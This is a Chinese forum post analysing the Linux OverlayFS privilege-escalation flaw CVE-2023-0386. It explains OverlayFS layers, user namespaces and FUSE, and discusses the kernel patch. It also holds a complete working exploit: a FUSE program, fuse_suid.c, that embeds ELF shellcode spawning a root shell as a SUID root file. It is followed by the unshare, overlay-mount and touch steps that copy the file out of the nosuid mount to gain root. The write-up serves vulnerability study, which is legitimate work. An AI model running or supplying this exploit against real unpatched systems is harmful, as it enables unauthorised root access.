首页
社区
课程
招聘
[原创]Linux内核漏洞分析系列(2)——CVE-2023-0386
2023-5-12 19:16 19219

[原创]Linux内核漏洞分析系列(2)——CVE-2023-0386

2023-5-12 19:16
19219

概述

漏洞信息

CVE ID: CVE-2023-0386 [overlay]
Influence Version: (Linux 5.11 ~ 5.19 besides 5.15)
Vulnerability: LPE
Patch: fs/overlayfs/copy_up.c

1
2
Description:
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.

这个漏洞是overlay内核组件存在逻辑问题,导致具有suid权限的文件可以未授权访问,最后实现本地提权。

漏洞分析

上篇文章我将内核版本切换到了5.16.12(看chenaotian师傅的帖子说是5.15存在问题无法复现,不巧的是我一直用的都是5.15,的确无法使用)。

 

分析漏洞之前先来看看组件是做什么的:Overlay是一种Linux文件系统组件,用于实现一种可写的文件系统层(upper layer),并通过挂载两个文件系统来实现文件层次结构的组合。具体来说,它是一种用于容器和虚拟化环境的轻量级文件系统,通常用于在只读根文件系统之上创建一个可写层,以便应用程序可以在其中进行更改而不会影响到根文件系统。下图是overlay的分层结构:

 

  1. Merged层:这是一个虚拟的、合成的视图,它将 lower 层和 upper 层合并在一起。当用户访问 Overlay 文件系统时,他们看到的是这个 merged 层。在这个层中,来自upper层的更改会覆盖lower层的相应文件。对于同名文件upper层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。 【用户最终看到的是这个视图】
  2. Upper层:这是一个可写的文件系统层,它存储所有对 lower 层文件的更改。这包括文件修改、创建和删除操作。
  3. Workdir目录:这是一个与 upper 层在同一文件系统中的可写目录,用于存储一些中间数据和元数据,以支持 OverlayFS 的正常运行。
  4. Lower层:这是基础文件系统层,只读。一个Overlay文件系统可以有一个或多个lower层。此层拥有写时复制特性(copy-up),当想要修改lower层不可修改的fileC时,先拷贝副本到upper层,修改后呈现到merged视图。

OverlayFS 操作流程

挂载OverlayFS文件系统

1
2
3
4
mkdir lower upper work merged
sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 挂载OverlayFS
# mount需要root用户权限;需要创建两个lower时:lowerdir=lower1:lower2
# 卸载OverlayFS:sudo umount merged

 

上面的命令可以将"lowerdir"和"upper"目录堆叠到merged目录,"workdir"工作目录要求是和"upperdir"目录同一类型文件系统的空目录,"workdir"是 OverlayFS 内部使用的工作目录,不需要用户自己创建。"lower"、"upper" 和 "merged" 等路径需要替换为实际存在的路径,我们需要在根目录下创建这三个目录。

各层新建文件对比

在lower层新建文件:

1
echo "This is a file in lower." > lower/test.txt

当我们在lower层新建文件后,可以看到新文件也出现在merged目录,upper目录无变化。
[+] lower [+] merged [ ] upper

 

 

在merged层新建文件:

1
echo "This is a file in merged." > merged/merged.txt

当我们在merged层新建文件后,可以看到新文件也出现在upper目录,lower目录无变化。
[+] merged [+] upper [ ] lower

 

 

在upper层新建文件:

1
echo "This is a file in upper." > upper/upper.txt

当我们在upper层新建文件后,可以看到新文件也出现在merged目录,lower目录无变化。
[+] merged [+] upper [ ] lower

 

在merged层修改文件的变化

merged层是一个统一的视图,当在merged新建文件时,可以看到新文件也出现在upper目录,lower目录无变化。也就是merged和upper是相互作用的。

 

在merged层中:
来自upper层的更改会覆盖lower层的相应文件。对于同名文件,upper层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。

注意事项

需要注意以下卸载overlayFS后各层文件的变化,这也是后续漏洞利用的重要信息。

 

挂载overlayFS后,在lower层新增文件,merged也会新增文件,upper无变化;从merged层修改lower层文件,upper新增修改后的文件,接着卸载overlayFS,merged文件会消失,upper保留修改后的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 挂载overlayFS后,在lower层新增文件,merged也会新增文件,upper无变化
ubuntu@ubuntu:~/Downloads/fuse/change$ touch lower/lower.txt
ubuntu@ubuntu:~/Downloads/fuse/change$ tree
.
├── lower
│   └── lower.txt
├── merged
│   └── lower.txt
├── upper
└── work
    └── work [error opening dir]
 
# 从merged层修改lower层文件,upper新增修改后的文件,接着卸载overlayFS,merged文件会消失,upper保留修改后的文件
ubuntu@ubuntu:~/Downloads/fuse/change$ tree
.
├── lower
│   └── lower.txt
├── merged
├── upper
│   └── lower.txt
└── work
    └── work [error opening dir]

保留下来的文件权限跟lower层是一样的:

1
2
3
4
ubuntu@ubuntu:~/Downloads/fuse/change$ ls -al lower/lower.txt
-rw-rw-r-- 1 ubuntu ubuntu 4 May 12 03:29 lower/lower.txt
ubuntu@ubuntu:~/Downloads/fuse/change$ ls -al upper/lower.txt
-rw-rw-r-- 1 ubuntu ubuntu 10 May 12 03:47 upper/lower.txt

漏洞触发原理

漏洞的逻辑

overlayFS 所有文件都可以正常拷贝,包括没有在当前用户命名空间中映射的文件(也就是nobody文件)。

 

拷贝文件并不只是拷贝文件的内容,包括文件的元数据,也就是文件的属主信息、时间戳、权限信息、还有扩展信息如capbilities等都会一起拷贝过来。引发的风险就是,如果下层文件系统是一个用户文件系统(如fuse),用户高度可控,可以自定义任何文件,但该文件系统存在限制(如nosuid),那么本漏洞就允许将下层用户自定义的suid文件从一个nosuid 文件系统拷贝到一个正常文件系统中,导致非法的suid文件获得suid特权。进而造成提权。

"nosuid"是Linux文件系统中的一种标志,它是在挂载文件系统时使用的选项之一。如果一个文件系统被标记为"nosuid",则在该文件系统上的任何文件或目录上设置的"setuid"或"setgid"位都会被忽略,这意味着即使一个可执行文件被设置为具有特权用户的权限,也不会在执行该文件时获得特权,从而提高了系统的安全性。

 

"nosuid"是在挂载时对文件系统进行了限制,但是文件系统可以生成一个"suid"的文件,即使因为限制不起作用。

用户命名空间

什么是用户命名空间?

用户命名空间:用户命名空间(User Namespace)用于隔离用户ID(UID)和组ID(GID)。可以思考一下C++中的命名空间,假设一个程序中用了两个相同函数名的函数(不是指重载),就会出现函数名冲突的问题,用命名空间就可以调用时避免冲突。
具体来说,假设在主机上存在一个名为"james"的用户,其UID为0。如果直接使用overlay进行文件系统叠加,并在容器中以"james"用户身份启动进程,该进程将会在容器中使用UID为0的用户,与主机中的"james"用户相同,容易造成权限混淆的问题。
使用命名空间后,一个容器中的root用户(UID 0)可能在主系统中被映射为一个非特权用户,起到了权限隔离的作用。
主要使用命令:[unshare]

 

动手实践:

  • 创建nobody新用户命名空间并查看权限
1
2
unshare -U /bin/bash
# 执行该命令后,将会创建一个新的用户命名空间,并在其中启动一个新的Bash shell。在新的用户命名空间中,用户ID和组ID会重新映射,以便用户在该命名空间中获得新的权限。

输出如下:

1
2
3
4
5
ubuntu@ubuntu:~/Downloads/test_overlay$ sudo unshare -U /bin/bash
[sudo] password for ubuntu:
nobody@ubuntu:/home/ubuntu/Downloads/test_overlay$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@ubuntu:/home/ubuntu/Downloads/test_overlay$

此处看到新用户命名空间中的uid为nobody。

nobody是一个特殊的系统用户,通常被用作一个不需要拥有系统特权的用户来运行某些服务或进程。在Linux中,每个用户都有一个对应的UID(UserID),而nobody用户的UID通常是65534。当一个进程运行在一个不同的用户命名空间时,由于该命名空间中没有与该UID相关联的用户名,所以该UID会被识别为nobody用户。因此,当您在一个新的用户命名空间中使用unshare命令创建一个新的shell时,该shell中的UID会被识别为nobody。(nobody权限比普通用户低)

  • 创建root权限的新用户命名空间,获取的root权限只限于新用户命名空间
1
2
3
4
5
6
7
8
9
10
ubuntu@ubuntu:~/Downloads/fuse$ unshare -Urm
 
# -U:创建一个新的用户命名空间。在新的用户命名空间中,用户和用户组的标识将与外部命名空间隔离,可以重新映射用户和用户组的标识。
# -r:创建一个新的挂载命名空间。在新的挂载命名空间中,文件系统的挂载点和挂载状态将与外部命名空间隔离,可以进行独立的挂载操作。
# -m:创建一个新的PID命名空间。在新的PID命名空间中,进程的PID将与外部命名空间隔离,可以独立地管理进程。
 
root@ubuntu:~/Downloads/fuse# whoami
root
root@ubuntu:~/Downloads/fuse# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # 可以看到在新用户命名空间我们的权限映射为root
  • (sudo) 创建root权限的新用户命名空间并查看权限

--map-root-user 能够指定创建的用户uid,需要root权限,并且创造的root用户能在用户命名空间之外也能执行特权操作

1
sudo unshare --user --map-root-user /bin/bash

输出如下:

1
2
3
ubuntu@ubuntu:~/Downloads/test_overlay$ sudo unshare --user --map-root-user /bin/bash
root@ubuntu:/home/ubuntu/Downloads/test_overlay# id
uid=0(root) gid=0(root) groups=0(root)

再对比一下在不同用户命名空间下文件的拥有者:

1
2
3
4
# uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
 
ubuntu@ubuntu:~/Downloads/test_overlay$ ls -al nobody.txt
-rw-rw-r-- 1 ubuntu ubuntu 0 May 10 20:56 nobody.txt
1
2
3
4
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
 
nobody@ubuntu:~/Downloads/test_overlay$ ls -al nobody.txt
-rw-rw-r-- 1 nobody nogroup 0 May 10 20:56 nobody.txt

fuseFS 操作流程

我在漏洞的逻辑中提到了:"nosuid"是在挂载时对文件系统进行了限制,但是文件系统可以生成一个"suid"的文件,即使因为限制不起作用。
我们在这里通过fuse文件系统创建一个文件,文件的要求如下:

  1. 设置文件所有者为root
  2. 设置SUID权限位,SUID权限位会让执行该文件的用户拥有与文件拥有者相同的权限

创建fuse_suid程序

我们先创建一个符合上面要求的文件,后续再对符合要求的文件进行修改。首先安装依赖:

1
sudo apt-get install libfuse-dev

新建文件fuse_suid.c,用来生成一个程序,运行程序后能够挂载fuseFS到一个空目录,挂载后目录下包含一个可执行文件hello,执行hello中的命令获取shell(此处使用chenaotian师傅的poc):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#define FUSE_USE_VERSION 30
 
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
 
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
 
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
    int res = 0;
 
    memset(stbuf, 0, sizeof(struct stat));
 
    if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件实际大小
    } else {
        res = -ENOENT;
    }
 
    return res;
}
 
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
    (void) offset;
    (void) fi;
 
    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
        return -ENOENT;
    }
 
    filler(buf, ".", NULL, 0);//默认显示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
 
    return 0;
}
 
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
    if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
        return -ENOENT;
    }
 
    return 0;
}
 
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//读文件的回调函数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持读hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
    } else {
        size = 0;
    }
 
    return size;
}
 
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};
 
int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

编译:

1
gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c 'pkg-config fuse --cflags --libs' -o fuse_suid

运行:

1
2
3
4
mkdir -p mount_fuse # 新建挂载目录
./fuse_suid mount_fuse # 挂载新建的目录,弹出已挂载
./mount_fuse/hello # 运行hello
fusermount -u mount_fuse # 卸载挂载目录

使用mount | grep mount_fuse查看挂载目录的属性,可以看到fuseFS被设置成了nosuid:

1
2
ubuntu@ubuntu:~/Downloads/fuse$ mount | grep mount_fuse
/home/ubuntu/Downloads/fuse/fuse_suid on /home/ubuntu/Downloads/fuse/mount_fuse type fuse.fuse_suid (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

查看hello文件属性:

1
2
3
4
ubuntu@ubuntu:~/Downloads/fuse$ file ./mount_fuse/hello
./mount_fuse/hello: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
ubuntu@ubuntu:~/Downloads/fuse$ ls -l ./mount_fuse/hello
-rwsrwxrwx 1 root root 246 Dec 31  1969 ./mount_fuse/hello

运行hello后得到shell。可以看到即使是suid,拥有者为root,运行后也是普通用户:

1
2
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)

上述操作流程可通过下面脚本自动部署,方便调试fuse_suid.c文件:

1
2
3
4
5
6
echo 'fusermount -u mount_fuse
gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
./fuse_suid mount_fuse
file ./mount_fuse/hello
./mount_fuse/hello' > fuse_test.sh && chmod +x fuse_test.sh
# ./fuse_test.sh 运行

注意事项

自己构建poc时,报错时请注意检查回调函数。例如无法使用ls列出fuseFS挂载目录下的文件:
ls: reading directory 'mount_fuse/': Function not implemented
需要注册一个新的FUSE回调函数 hello_readdir,该函数列出文件系统中的文件和目录。

 

完整利用链

通过上面对两个文件系统的学习,梳理了漏洞的逻辑后,我们可以得到以下完整利用流程:

  1. 在fuseFS中制作拥有suid权限拥有者为root用户的后门程序hello,挂载fuseFS到自建的mount_fuse目录
  2. 创建新用户命名空间(root用户)、新挂载命名空间(用于overlayFS挂载)、新PID命名空间
  3. 挂载overlayFS到新用户命名空间,创建各层文件目录,将第一步挂载的mount_fuse目录设置为lower层
  4. 将hello的suid属性从fuseFS的nosuid环境中带出来,带到upper层,退出新用户命名空间后hello保留suid及拥有者为root用户
  5. 将挂载的文件系统都退出,最后会在upper文件留下提权可执行后门hello进行提权

各步骤执行代码如下:

  • 在fuseFS中制作拥有suid权限拥有者为root用户的后门程序hello,挂载fuseFS到自建的mount_fuse目录:
1
2
3
# 根据前面的fuse_suid.c进行操作
gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
./fuse_suid mount_fuse # 挂载fuseFS
  • 创建新用户命名空间(root用户)、新挂载命名空间(用于overlayFS挂载)、新PID命名空间:
1
2
3
4
5
6
7
8
9
10
ubuntu@ubuntu:~/Downloads/fuse$ unshare -Urm
 
# -U:创建一个新的用户命名空间。在新的用户命名空间中,用户和用户组的标识将与外部命名空间隔离,可以重新映射用户和用户组的标识。
# -r:创建一个新的挂载命名空间。在新的挂载命名空间中,文件系统的挂载点和挂载状态将与外部命名空间隔离,可以进行独立的挂载操作。
# -m:创建一个新的PID命名空间。在新的PID命名空间中,进程的PID将与外部命名空间隔离,可以独立地管理进程。
 
root@ubuntu:~/Downloads/fuse# whoami
root
root@ubuntu:~/Downloads/fuse# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # 可以看到在新用户命名空间我们的权限映射为root
  • 挂载overlayFS到新用户命名空间,创建各层文件目录,将第一步挂载的mount_fuse目录设置为lower层:
1
2
3
4
5
mkdir upper work merged
mount -t overlay -o lowerdir=mount_fuse,upperdir=upper,workdir=work overlay merged
 
# sudo umount merged  卸载overlayFS (退出新用户命名空间时已经卸载了)
# fusermount -u merged 卸载fuseFS

挂载后可以看到merged目录无变化,mount_fuse目录成了lower层

  • 将hello的suid属性从fuseFS的nosuid环境中带出来,带到merged层

这里涉及到一个问题:
修改lower层的文件,会触发copy-up操作。使用touch命令在尝试创建一个已经存在的文件的时候不会覆盖已经存在的文件,而是只修改文件的访问时间和修改时间的时间戳,而时间戳信息也算文件的attr扩展信息,该信息被修改同样会触发overlay文件系统的copy-up操作。

1
touch merged/hello

根据我们在OverlayFS操作流程-注意事项中提到的,因为只修改了lower层文件的时间戳,没有覆盖文件,最后卸载所有文件系统时会把带着suid权限的hello程序保存在upper层目录。

  • 最后执行被带出到upper层的hello程序,完成提权

  • 利用链流程文件变化对比:

补丁分析

 

补丁新增部分:

1
2
3
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
        !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
        return -EOVERFLOW;

前面我们已经知道了存在漏洞的地方在于copy-up操作,新增的这部分代码的含义是:
kgid_has_mapping()函数用于检查当前组标识是否在给定的用户命名空间中有映射关系。它接受两个参数:用户命名空间和组标识(GID),并返回一个布尔值。

 

如果 kuid_has_mapping() 函数的结果为假(零),即用户标识没有映射关系,
或者kgid_has_mapping()函数的结果为假(零),即组标识没有映射关系,
整个条件表达式将被认为是假(零)。只有当两个条件都为真时,整个表达式才会被认为是真(非零)。

 

所以更新补丁后,当进行copy-up操作时,如果目标下层文件的属主用户或属组用户在当前命名空间中没有映射的话(也就是拥有者为nobody用户)就会失败,防止了自定义的文件进行未授权访问。

可利用条件

可利用条件: 已开启overlay文件系统(我使用的系统默认开启了overlayFS,可以根据上一篇编译源码make menuconfig查看是否系统为默认开启,参数分别为CONFIG_SLUB_DEBUGOVERLAY_FS、CONFIG_FUSE_FS)

 

查看系统是否已开启overlay文件系统的方法

 

(1) ls /sys/module/overlay/

1
2
3
$ ls /sys/module/overlay/
coresize  initsize   notes       refcnt    srcversion  uevent
holders   initstate  parameters  sections  taint

如果有输出,则表示overlay文件系统已经被内核模块加载;如果输出为空,则表示没有加载overlay模块。

 

(2) grep CONFIG_OVERLAY_FS /boot/config-$(uname -r)

1
2
3
4
5
6
7
$ grep CONFIG_OVERLAY_FS /boot/config-$(uname -r)
CONFIG_OVERLAY_FS=m
# CONFIG_OVERLAY_FS_REDIRECT_DIR is not set
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
# CONFIG_OVERLAY_FS_INDEX is not set
CONFIG_OVERLAY_FS_XINO_AUTO=y
# CONFIG_OVERLAY_FS_METACOPY is not set

根据输出的结果,可以看到 CONFIG_OVERLAY_FS 的值为 m,表示该文件系统功能已编译到模块中,可以在需要时加载该模块来使用 Overlay 文件系统,该功能已经开启。(m或者y都代表已开启)

总结

通过学习和复现此漏洞的细节,希望大家能够通过本文了解学习fuseFS和overlayFS的操作机制并懂得如何利用此漏洞提权。在写本文时我也发现了自身很多不足之处。如果在文中发现哪处存在问题,也欢迎大家在留言区指出。

参考链接

https://github.com/chenaotian/CVE-2023-0386
https://github.com/xkaneiki/CVE-2023-0386
https://blog.csdn.net/luckyapple1028/article/details/78075358


[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2023-5-13 11:40 被bwner编辑 ,原因: 修正错误
收藏
点赞5
打赏
分享
最新回复 (2)
雪    币: 2779
活跃值: (2750)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
安和桥南 2023-5-13 10:43
2
0
利用链流程文件变化对比 的图是怎么画出来的哇?
雪    币: 682
活跃值: (4059)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
bwner 1 2023-5-13 11:40
3
0
安和桥南 利用链流程文件变化对比 的图是怎么画出来的哇?
这个图我用obsidian的幕布功能画的,然后导出成图片就可以了。
游客
登录 | 注册 方可回帖
返回